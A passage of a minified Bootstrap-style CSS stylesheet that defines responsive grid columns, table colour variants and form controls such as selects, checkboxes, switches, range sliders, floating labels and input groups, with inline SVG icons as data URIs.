1rem}.g-sm-3,.gy-sm-3{--bs-gutter-y: 1rem}.g-sm-4,.gx-sm-4{--bs-gutter-x: 1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y: 1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x: 3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y: 3rem}}@media(min-width: 768px){.col-md{flex:1 0 0%}.row-cols-md-auto>*{flex:0 0 auto;width:auto}.row-cols-md-1>*{flex:0 0 auto;width:100%}.row-cols-md-2>*{flex:0 0 auto;width:50%}.row-cols-md-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-md-4>*{flex:0 0 auto;width:25%}.row-cols-md-5>*{flex:0 0 auto;width:20%}.row-cols-md-6>*{flex:0 0 auto;width:16.66666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.col-md-2{flex:0 0 auto;width:16.66666667%}.col-md-3{flex:0 0 auto;width:25%}.col-md-4{flex:0 0 auto;width:33.33333333%}.col-md-5{flex:0 0 auto;width:41.66666667%}.col-md-6{flex:0 0 auto;width:50%}.col-md-7{flex:0 0 auto;width:58.33333333%}.col-md-8{flex:0 0 auto;width:66.66666667%}.col-md-9{flex:0 0 auto;width:75%}.col-md-10{flex:0 0 auto;width:83.33333333%}.col-md-11{flex:0 0 auto;width:91.66666667%}.col-md-12{flex:0 0 auto;width:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333333%}.offset-md-2{margin-left:16.66666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333333%}.offset-md-5{margin-left:41.66666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333333%}.offset-md-8{margin-left:66.66666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333333%}.offset-md-11{margin-left:91.66666667%}.g-md-0,.gx-md-0{--bs-gutter-x: 0}.g-md-0,.gy-md-0{--bs-gutter-y: 0}.g-md-1,.gx-md-1{--bs-gutter-x: 0.25rem}.g-md-1,.gy-md-1{--bs-gutter-y: 0.25rem}.g-md-2,.gx-md-2{--bs-gutter-x: 0.5rem}.g-md-2,.gy-md-2{--bs-gutter-y: 0.5rem}.g-md-3,.gx-md-3{--bs-gutter-x: 1rem}.g-md-3,.gy-md-3{--bs-gutter-y: 1rem}.g-md-4,.gx-md-4{--bs-gutter-x: 1.5rem}.g-md-4,.gy-md-4{--bs-gutter-y: 1.5rem}.g-md-5,.gx-md-5{--bs-gutter-x: 3rem}.g-md-5,.gy-md-5{--bs-gutter-y: 3rem}}@media(min-width: 992px){.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.66666667%}.col-lg-auto{flex:0 0 auto;width:auto}.col-lg-1{flex:0 0 auto;width:8.33333333%}.col-lg-2{flex:0 0 auto;width:16.66666667%}.col-lg-3{flex:0 0 auto;width:25%}.col-lg-4{flex:0 0 auto;width:33.33333333%}.col-lg-5{flex:0 0 auto;width:41.66666667%}.col-lg-6{flex:0 0 auto;width:50%}.col-lg-7{flex:0 0 auto;width:58.33333333%}.col-lg-8{flex:0 0 auto;width:66.66666667%}.col-lg-9{flex:0 0 auto;width:75%}.col-lg-10{flex:0 0 auto;width:83.33333333%}.col-lg-11{flex:0 0 auto;width:91.66666667%}.col-lg-12{flex:0 0 auto;width:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333333%}.offset-lg-2{margin-left:16.66666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333333%}.offset-lg-5{margin-left:41.66666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333333%}.offset-lg-8{margin-left:66.66666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333333%}.offset-lg-11{margin-left:91.66666667%}.g-lg-0,.gx-lg-0{--bs-gutter-x: 0}.g-lg-0,.gy-lg-0{--bs-gutter-y: 0}.g-lg-1,.gx-lg-1{--bs-gutter-x: 0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y: 0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x: 0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y: 0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x: 1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y: 1rem}.g-lg-4,.gx-lg-4{--bs-gutter-x: 1.5rem}.g-lg-4,.gy-lg-4{--bs-gutter-y: 1.5rem}.g-lg-5,.gx-lg-5{--bs-gutter-x: 3rem}.g-lg-5,.gy-lg-5{--bs-gutter-y: 3rem}}@media(min-width: 1200px){.col-xl{flex:1 0 0%}.row-cols-xl-auto>*{flex:0 0 auto;width:auto}.row-cols-xl-1>*{flex:0 0 auto;width:100%}.row-cols-xl-2>*{flex:0 0 auto;width:50%}.row-cols-xl-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-xl-4>*{flex:0 0 auto;width:25%}.row-cols-xl-5>*{flex:0 0 auto;width:20%}.row-cols-xl-6>*{flex:0 0 auto;width:16.66666667%}.col-xl-auto{flex:0 0 auto;width:auto}.col-xl-1{flex:0 0 auto;width:8.33333333%}.col-xl-2{flex:0 0 auto;width:16.66666667%}.col-xl-3{flex:0 0 auto;width:25%}.col-xl-4{flex:0 0 auto;width:33.33333333%}.col-xl-5{flex:0 0 auto;width:41.66666667%}.col-xl-6{flex:0 0 auto;width:50%}.col-xl-7{flex:0 0 auto;width:58.33333333%}.col-xl-8{flex:0 0 auto;width:66.66666667%}.col-xl-9{flex:0 0 auto;width:75%}.col-xl-10{flex:0 0 auto;width:83.33333333%}.col-xl-11{flex:0 0 auto;width:91.66666667%}.col-xl-12{flex:0 0 auto;width:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.offset-xl-5{margin-left:41.66666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333333%}.offset-xl-8{margin-left:66.66666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333333%}.offset-xl-11{margin-left:91.66666667%}.g-xl-0,.gx-xl-0{--bs-gutter-x: 0}.g-xl-0,.gy-xl-0{--bs-gutter-y: 0}.g-xl-1,.gx-xl-1{--bs-gutter-x: 0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y: 0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x: 0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y: 0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x: 1rem}.g-xl-3,.gy-xl-3{--bs-gutter-y: 1rem}.g-xl-4,.gx-xl-4{--bs-gutter-x: 1.5rem}.g-xl-4,.gy-xl-4{--bs-gutter-y: 1.5rem}.g-xl-5,.gx-xl-5{--bs-gutter-x: 3rem}.g-xl-5,.gy-xl-5{--bs-gutter-y: 3rem}}@media(min-width: 1400px){.col-xxl{flex:1 0 0%}.row-cols-xxl-auto>*{flex:0 0 auto;width:auto}.row-cols-xxl-1>*{flex:0 0 auto;width:100%}.row-cols-xxl-2>*{flex:0 0 auto;width:50%}.row-cols-xxl-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-xxl-4>*{flex:0 0 auto;width:25%}.row-cols-xxl-5>*{flex:0 0 auto;width:20%}.row-cols-xxl-6>*{flex:0 0 auto;width:16.66666667%}.col-xxl-auto{flex:0 0 auto;width:auto}.col-xxl-1{flex:0 0 auto;width:8.33333333%}.col-xxl-2{flex:0 0 auto;width:16.66666667%}.col-xxl-3{flex:0 0 auto;width:25%}.col-xxl-4{flex:0 0 auto;width:33.33333333%}.col-xxl-5{flex:0 0 auto;width:41.66666667%}.col-xxl-6{flex:0 0 auto;width:50%}.col-xxl-7{flex:0 0 auto;width:58.33333333%}.col-xxl-8{flex:0 0 auto;width:66.66666667%}.col-xxl-9{flex:0 0 auto;width:75%}.col-xxl-10{flex:0 0 auto;width:83.33333333%}.col-xxl-11{flex:0 0 auto;width:91.66666667%}.col-xxl-12{flex:0 0 auto;width:100%}.offset-xxl-0{margin-left:0}.offset-xxl-1{margin-left:8.33333333%}.offset-xxl-2{margin-left:16.66666667%}.offset-xxl-3{margin-left:25%}.offset-xxl-4{margin-left:33.33333333%}.offset-xxl-5{margin-left:41.66666667%}.offset-xxl-6{margin-left:50%}.offset-xxl-7{margin-left:58.33333333%}.offset-xxl-8{margin-left:66.66666667%}.offset-xxl-9{margin-left:75%}.offset-xxl-10{margin-left:83.33333333%}.offset-xxl-11{margin-left:91.66666667%}.g-xxl-0,.gx-xxl-0{--bs-gutter-x: 0}.g-xxl-0,.gy-xxl-0{--bs-gutter-y: 0}.g-xxl-1,.gx-xxl-1{--bs-gutter-x: 0.25rem}.g-xxl-1,.gy-xxl-1{--bs-gutter-y: 0.25rem}.g-xxl-2,.gx-xxl-2{--bs-gutter-x: 0.5rem}.g-xxl-2,.gy-xxl-2{--bs-gutter-y: 0.5rem}.g-xxl-3,.gx-xxl-3{--bs-gutter-x: 1rem}.g-xxl-3,.gy-xxl-3{--bs-gutter-y: 1rem}.g-xxl-4,.gx-xxl-4{--bs-gutter-x: 1.5rem}.g-xxl-4,.gy-xxl-4{--bs-gutter-y: 1.5rem}.g-xxl-5,.gx-xxl-5{--bs-gutter-x: 3rem}.g-xxl-5,.gy-xxl-5{--bs-gutter-y: 3rem}}.table{--bs-table-color-type: initial;--bs-table-bg-type: initial;--bs-table-color-state: initial;--bs-table-bg-state: initial;--bs-table-color: var(--bs-emphasis-color);--bs-table-bg: var(--bs-body-bg);--bs-table-border-color: #e5e6ec;--bs-table-accent-bg: transparent;--bs-table-striped-color: var(--bs-emphasis-color);--bs-table-striped-bg: #f6f7fb;--bs-table-active-color: var(--bs-emphasis-color);--bs-table-active-bg: rgba(var(--bs-emphasis-color-rgb), 0.1);--bs-table-hover-color: var(--bs-emphasis-color);--bs-table-hover-bg: #f3f4f9;width:100%;margin-bottom:1rem;vertical-align:top;border-color:var(--bs-table-border-color)}.table>:not(caption)>*>*{padding:.5rem .5rem;color:var(--bs-table-color-state, var(--bs-table-color-type, var(--bs-table-color)));background-color:var(--bs-table-bg);border-bottom-width:var(--bs-border-width);box-shadow:inset 0 0 0 9999px var(--bs-table-bg-state, var(--bs-table-bg-type, var(--bs-table-accent-bg)))}.table>tbody{vertical-align:inherit}.table>thead{vertical-align:bottom}.table-group-divider{border-top:calc(var(--bs-border-width)*2) solid currentcolor}.caption-top{caption-side:top}.table-sm>:not(caption)>*>*{padding:.25rem .25rem}.table-bordered>:not(caption)>*{border-width:var(--bs-border-width) 0}.table-bordered>:not(caption)>*>*{border-width:0 var(--bs-border-width)}.table-borderless>:not(caption)>*>*{border-bottom-width:0}.table-borderless>:not(:first-child){border-top-width:0}.table-striped>tbody>tr:nth-of-type(odd)>*{--bs-table-color-type: var(--bs-table-striped-color);--bs-table-bg-type: var(--bs-table-striped-bg)}.table-striped-columns>:not(caption)>tr>:nth-child(even){--bs-table-color-type: var(--bs-table-striped-color);--bs-table-bg-type: var(--bs-table-striped-bg)}.table-active{--bs-table-color-state: var(--bs-table-active-color);--bs-table-bg-state: var(--bs-table-active-bg)}.table-hover>tbody>tr:hover>*{--bs-table-color-state: var(--bs-table-hover-color);--bs-table-bg-state: var(--bs-table-hover-bg)}.table-primary{--bs-table-color: #000000;--bs-table-bg: #dedcf1;--bs-table-border-color: #b2b0c1;--bs-table-striped-bg: #d3d1e5;--bs-table-striped-color: #000000;--bs-table-active-bg: #c8c6d9;--bs-table-active-color: #000000;--bs-table-hover-bg: #cdccdf;--bs-table-hover-color: #000000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-secondary{--bs-table-color: #000000;--bs-table-bg: #f6f7f9;--bs-table-border-color: #c5c6c7;--bs-table-striped-bg: #eaebed;--bs-table-striped-color: #000000;--bs-table-active-bg: #dddee0;--bs-table-active-color: #000000;--bs-table-hover-bg: #e4e4e6;--bs-table-hover-color: #000000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-success{--bs-table-color: #000000;--bs-table-bg: #e4edda;--bs-table-border-color: #b6beae;--bs-table-striped-bg: #d9e1cf;--bs-table-striped-color: #000000;--bs-table-active-bg: #cdd5c4;--bs-table-active-color: #000000;--bs-table-hover-bg: #d3dbca;--bs-table-hover-color: #000000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-info{--bs-table-color: #000000;--bs-table-bg: #ccecff;--bs-table-border-color: #a3bdcc;--bs-table-striped-bg: #c2e0f2;--bs-table-striped-color: #000000;--bs-table-active-bg: #b8d4e6;--bs-table-active-color: #000000;--bs-table-hover-bg: #bddaec;--bs-table-hover-color: #000000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-warning{--bs-table-color: #000000;--bs-table-bg: #fff3d8;--bs-table-border-color: #ccc2ad;--bs-table-striped-bg: #f2e7cd;--bs-table-striped-color: #000000;--bs-table-active-bg: #e6dbc2;--bs-table-active-color: #000000;--bs-table-hover-bg: #ece1c8;--bs-table-hover-color: #000000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-danger{--bs-table-color: #000000;--bs-table-bg: #fce3d7;--bs-table-border-color: #cab6ac;--bs-table-striped-bg: #efd8cc;--bs-table-striped-color: #000000;--bs-table-active-bg: #e3ccc2;--bs-table-active-color: #000000;--bs-table-hover-bg: #e9d2c7;--bs-table-hover-color: #000000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-light{--bs-table-color: #000000;--bs-table-bg: #edf0f7;--bs-table-border-color: #bec0c6;--bs-table-striped-bg: #e1e4eb;--bs-table-striped-color: #000000;--bs-table-active-bg: #d5d8de;--bs-table-active-color: #000000;--bs-table-hover-bg: #dbdee4;--bs-table-hover-color: #000000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-dark{--bs-table-color: #ffffff;--bs-table-bg: #202020;--bs-table-border-color: #4d4d4d;--bs-table-striped-bg: #2b2b2b;--bs-table-striped-color: #ffffff;--bs-table-active-bg: #363636;--bs-table-active-color: #ffffff;--bs-table-hover-bg: #313131;--bs-table-hover-color: #ffffff;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-responsive{overflow-x:auto;-webkit-overflow-scrolling:touch}@media(max-width: 575.98px){.table-responsive-sm{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 767.98px){.table-responsive-md{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 991.98px){.table-responsive-lg{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 1199.98px){.table-responsive-xl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media(max-width: 1399.98px){.table-responsive-xxl{overflow-x:auto;-webkit-overflow-scrolling:touch}}.form-label{margin-bottom:.5rem}.col-form-label{padding-top:calc(0.375rem + var(--bs-border-width));padding-bottom:calc(0.375rem + var(--bs-border-width));margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(0.5rem + var(--bs-border-width));padding-bottom:calc(0.5rem + var(--bs-border-width));font-size:1.125rem}.col-form-label-sm{padding-top:calc(0.25rem + var(--bs-border-width));padding-bottom:calc(0.25rem + var(--bs-border-width));font-size:0.7875rem}.form-text{margin-top:.25rem;font-size:0.875em;color:var(--bs-secondary-color)}.form-control{display:block;width:100%;padding:.375rem .75rem;font-size:0.9rem;font-weight:400;line-height:1.5;color:#000;appearance:none;background-color:var(--bs-body-bg);background-clip:padding-box;border:var(--bs-border-width) solid #d0d5e1;border-radius:var(--bs-border-radius);transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media(prefers-reduced-motion: reduce){.form-control{transition:none}}.form-control[type=file]{overflow:hidden}.form-control[type=file]:not(:disabled):not([readonly]){cursor:pointer}.form-control:focus{color:#000;background-color:var(--bs-body-bg);border-color:#ada7dc;outline:0;box-shadow:0 0 0 .25rem rgba(91,79,185,.25)}.form-control::-webkit-date-and-time-value{min-width:85px;height:1.5em;margin:0}.form-control::-webkit-datetime-edit{display:block;padding:0}.form-control::placeholder{color:#b6b8c4;opacity:1}.form-control:disabled{background-color:#e5e6ec;opacity:1}.form-control::file-selector-button{padding:.375rem .75rem;margin:-0.375rem -0.75rem;margin-inline-end:.75rem;color:#000;background-color:var(--bs-tertiary-bg);pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:var(--bs-border-width);border-radius:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media(prefers-reduced-motion: reduce){.form-control::file-selector-button{transition:none}}.form-control:hover:not(:disabled):not([readonly])::file-selector-button{background-color:var(--bs-secondary-bg)}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;line-height:1.5;color:var(--bs-body-color);background-color:rgba(0,0,0,0);border:solid rgba(0,0,0,0);border-width:var(--bs-border-width) 0}.form-control-plaintext:focus{outline:0}.form-control-plaintext.form-control-sm,.form-control-plaintext.form-control-lg{padding-right:0;padding-left:0}.form-control-sm{min-height:calc(1.5em + 0.5rem + calc(var(--bs-border-width) * 2));padding:.25rem .5rem;font-size:0.7875rem;border-radius:var(--bs-border-radius-sm)}.form-control-sm::file-selector-button{padding:.25rem .5rem;margin:-0.25rem -0.5rem;margin-inline-end:.5rem}.form-control-lg{min-height:calc(1.5em + 1rem + calc(var(--bs-border-width) * 2));padding:.5rem 1rem;font-size:1.125rem;border-radius:var(--bs-border-radius-lg)}.form-control-lg::file-selector-button{padding:.5rem 1rem;margin:-0.5rem -1rem;margin-inline-end:1rem}textarea.form-control{min-height:calc(1.5em + 0.75rem + calc(var(--bs-border-width) * 2))}textarea.form-control-sm{min-height:calc(1.5em + 0.5rem + calc(var(--bs-border-width) * 2))}textarea.form-control-lg{min-height:calc(1.5em + 1rem + calc(var(--bs-border-width) * 2))}.form-control-color{width:3rem;height:calc(1.5em + 0.75rem + calc(var(--bs-border-width) * 2));padding:.375rem}.form-control-color:not(:disabled):not([readonly]){cursor:pointer}.form-control-color::-moz-color-swatch{border:0 !important;border-radius:var(--bs-border-radius)}.form-control-color::-webkit-color-swatch{border:0 !important;border-radius:var(--bs-border-radius)}.form-control-color.form-control-sm{height:calc(1.5em + 0.5rem + calc(var(--bs-border-width) * 2))}.form-control-color.form-control-lg{height:calc(1.5em + 1rem + calc(var(--bs-border-width) * 2))}.form-select{--bs-form-select-bg-img: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%2317171b' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e");display:block;width:100%;padding:.375rem 2.25rem .375rem .75rem;font-size:0.9rem;font-weight:400;line-height:1.5;color:#000;appearance:none;background-color:var(--bs-body-bg);background-image:var(--bs-form-select-bg-img),var(--bs-form-select-bg-icon, none);background-repeat:no-repeat;background-position:right .75rem center;background-size:16px 12px;border:var(--bs-border-width) solid #d0d5e1;border-radius:var(--bs-border-radius);transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media(prefers-reduced-motion: reduce){.form-select{transition:none}}.form-select:focus{border-color:#ada7dc;outline:0;box-shadow:0 0 0 .25rem rgba(91,79,185,.25)}.form-select[multiple],.form-select[size]:not([size="1"]){padding-right:.75rem;background-image:none}.form-select:disabled{background-color:#e5e6ec}.form-select:-moz-focusring{color:rgba(0,0,0,0);text-shadow:0 0 0 #000}.form-select-sm{padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:0.7875rem;border-radius:var(--bs-border-radius-sm)}.form-select-lg{padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.125rem;border-radius:var(--bs-border-radius-lg)}[data-bs-theme=dark] .form-select{--bs-form-select-bg-img: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23b6b8c4' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e")}.form-check{display:block;min-height:1.35rem;padding-left:1.5em;margin-bottom:.125rem}.form-check .form-check-input{float:left;margin-left:-1.5em}.form-check-reverse{padding-right:1.5em;padding-left:0;text-align:right}.form-check-reverse .form-check-input{float:right;margin-right:-1.5em;margin-left:0}.form-check-input{--bs-form-check-bg: var(--bs-body-bg);flex-shrink:0;width:1em;height:1em;margin-top:.25em;vertical-align:top;appearance:none;background-color:var(--bs-form-check-bg);background-image:var(--bs-form-check-bg-image);background-repeat:no-repeat;background-position:center;background-size:contain;border:var(--bs-border-width) solid var(--bs-border-color);print-color-adjust:exact}.form-check-input[type=checkbox]{border-radius:.25em}.form-check-input[type=radio]{border-radius:50%}.form-check-input:active{filter:brightness(90%)}.form-check-input:focus{border-color:#ada7dc;outline:0;box-shadow:0 0 0 .25rem rgba(91,79,185,.25)}.form-check-input:checked{background-color:#5b4fb9;border-color:#5b4fb9}.form-check-input:checked[type=checkbox]{--bs-form-check-bg-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffffff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='m6 10 3 3 6-6'/%3e%3c/svg%3e")}.form-check-input:checked[type=radio]{--bs-form-check-bg-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ffffff'/%3e%3c/svg%3e")}.form-check-input[type=checkbox]:indeterminate{background-color:#5b4fb9;border-color:#5b4fb9;--bs-form-check-bg-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffffff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e")}.form-check-input:disabled{pointer-events:none;filter:none;opacity:.5}.form-check-input[disabled]~.form-check-label,.form-check-input:disabled~.form-check-label{cursor:default;opacity:.5}.form-switch{padding-left:2.5em}.form-switch .form-check-input{--bs-form-switch-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e");width:2em;margin-left:-2.5em;background-image:var(--bs-form-switch-bg);background-position:left center;border-radius:2em;transition:background-position .15s ease-in-out}@media(prefers-reduced-motion: reduce){.form-switch .form-check-input{transition:none}}.form-switch .form-check-input:focus{--bs-form-switch-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ada7dc'/%3e%3c/svg%3e")}.form-switch .form-check-input:checked{background-position:right center;--bs-form-switch-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffffff'/%3e%3c/svg%3e")}.form-switch.form-check-reverse{padding-right:2.5em;padding-left:0}.form-switch.form-check-reverse .form-check-input{margin-right:-2.5em;margin-left:0}.form-check-inline{display:inline-block;margin-right:1rem}.btn-check{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.btn-check[disabled]+.btn,.btn-check:disabled+.btn{pointer-events:none;filter:none;opacity:.65}[data-bs-theme=dark] .form-switch .form-check-input:not(:checked):not(:focus){--bs-form-switch-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%28255, 255, 255, 0.25%29'/%3e%3c/svg%3e")}.form-range{width:100%;height:1.5rem;padding:0;appearance:none;background-color:rgba(0,0,0,0)}.form-range:focus{outline:0}.form-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(91,79,185,.25)}.form-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(91,79,185,.25)}.form-range::-moz-focus-outer{border:0}.form-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-0.25rem;appearance:none;background-color:#5b4fb9;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media(prefers-reduced-motion: reduce){.form-range::-webkit-slider-thumb{transition:none}}.form-range::-webkit-slider-thumb:active{background-color:#cecaea}.form-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:rgba(0,0,0,0);cursor:pointer;background-color:var(--bs-secondary-bg);border-color:rgba(0,0,0,0);border-radius:1rem}.form-range::-moz-range-thumb{width:1rem;height:1rem;appearance:none;background-color:#5b4fb9;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media(prefers-reduced-motion: reduce){.form-range::-moz-range-thumb{transition:none}}.form-range::-moz-range-thumb:active{background-color:#cecaea}.form-range::-moz-range-track{width:100%;height:.5rem;color:rgba(0,0,0,0);cursor:pointer;background-color:var(--bs-secondary-bg);border-color:rgba(0,0,0,0);border-radius:1rem}.form-range:disabled{pointer-events:none}.form-range:disabled::-webkit-slider-thumb{background-color:var(--bs-secondary-color)}.form-range:disabled::-moz-range-thumb{background-color:var(--bs-secondary-color)}.form-floating{position:relative}.form-floating>.form-control,.form-floating>.form-control-plaintext,.form-floating>.form-select{height:calc(3.5rem + calc(var(--bs-border-width) * 2));min-height:calc(3.5rem + calc(var(--bs-border-width) * 2));line-height:1.25}.form-floating>label{position:absolute;top:0;left:0;z-index:2;height:100%;padding:1rem .75rem;overflow:hidden;text-align:start;text-overflow:ellipsis;white-space:nowrap;pointer-events:none;border:var(--bs-border-width) solid rgba(0,0,0,0);transform-origin:0 0;transition:opacity .1s ease-in-out,transform .1s ease-in-out}@media(prefers-reduced-motion: reduce){.form-floating>label{transition:none}}.form-floating>.form-control,.form-floating>.form-control-plaintext{padding:1rem .75rem}.form-floating>.form-control::placeholder,.form-floating>.form-control-plaintext::placeholder{color:rgba(0,0,0,0)}.form-floating>.form-control:focus,.form-floating>.form-control:not(:placeholder-shown),.form-floating>.form-control-plaintext:focus,.form-floating>.form-control-plaintext:not(:placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:-webkit-autofill,.form-floating>.form-control-plaintext:-webkit-autofill{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-select{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:focus~label,.form-floating>.form-control:not(:placeholder-shown)~label,.form-floating>.form-control-plaintext~label,.form-floating>.form-select~label{color:rgba(var(--bs-body-color-rgb), 0.65);transform:scale(0.85) translateY(-0.5rem) translateX(0.15rem)}.form-floating>.form-control:focus~label::after,.form-floating>.form-control:not(:placeholder-shown)~label::after,.form-floating>.form-control-plaintext~label::after,.form-floating>.form-select~label::after{position:absolute;inset:1rem .375rem;z-index:-1;height:1.5em;content:"";background-color:var(--bs-body-bg);border-radius:var(--bs-border-radius)}.form-floating>.form-control:-webkit-autofill~label{color:rgba(var(--bs-body-color-rgb), 0.65);transform:scale(0.85) translateY(-0.5rem) translateX(0.15rem)}.form-floating>.form-control-plaintext~label{border-width:var(--bs-border-width) 0}.form-floating>:disabled~label,.form-floating>.form-control:disabled~label{color:#3d3e47}.form-floating>:disabled~label::after,.form-floating>.form-control:disabled~label::after{background-color:#e5e6ec}.input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.form-select,.input-group>.form-floating{position:relative;flex:1 1 auto;width:1%;min-width:0}.input-group>.form-control:focus,.input-group>.form-select:focus,.input-group>.form-floating:focus-within{z-index:5}.input-group .btn{position:relative;z-index:2}.input-group .btn:focus{z-index:5}.input-group-text{display:flex;align-items:center;padding:.375rem .75rem;font-size:0.9rem;font-weight:400;line-height:1.5;color:#000;text-align:center;white-space:nowrap;background-color:#fff;border:var(--bs-border-width) solid #d0d5e1;border-radius:var(--bs-border-radius)}.input-group-lg>.form-control,.input-group-lg>.form-select,.input-group-lg>.input-group-text,.input-group-lg>.btn{padding:.5rem 1rem;font-size:1.125rem;border-radius:var(--bs-border-radius-lg)}.input-group-sm>.form-control,.input-group-sm>.form-select,.input-group-sm>.input-group-text,.input-group-sm>.btn{padding:.25rem .5rem;font-size:0.7875rem;border-radius:var(--bs-border-radius-sm)}.input-group-lg>.form-select,.input-group-sm>.form-select{padding-right:3rem}.input-group:not(.has-validation)>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating),.input-group:not(.has-validation)>.dropdown-toggle:nth-last-child(n+3),.input-group:not(.has-validation)>.form-floating:not(:last-child)>.form-control,.input-group:not(.has-validation)>.form-floating:not(:last-child)>.form-select{border-top-right-radius:0;border-bottom-right-radius:0}.input-group.has-validation>:nth-last-child(n+3):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating),.input-group.has-validation>.dropdown-toggle:nth-last-child(n+4),.input-group.has-validation>.form-floating:nth-last-child(n+3)>.form-control,.input-group.has-validation>.form-floating:nth-last-child(n+3)>.form-select{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>:not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(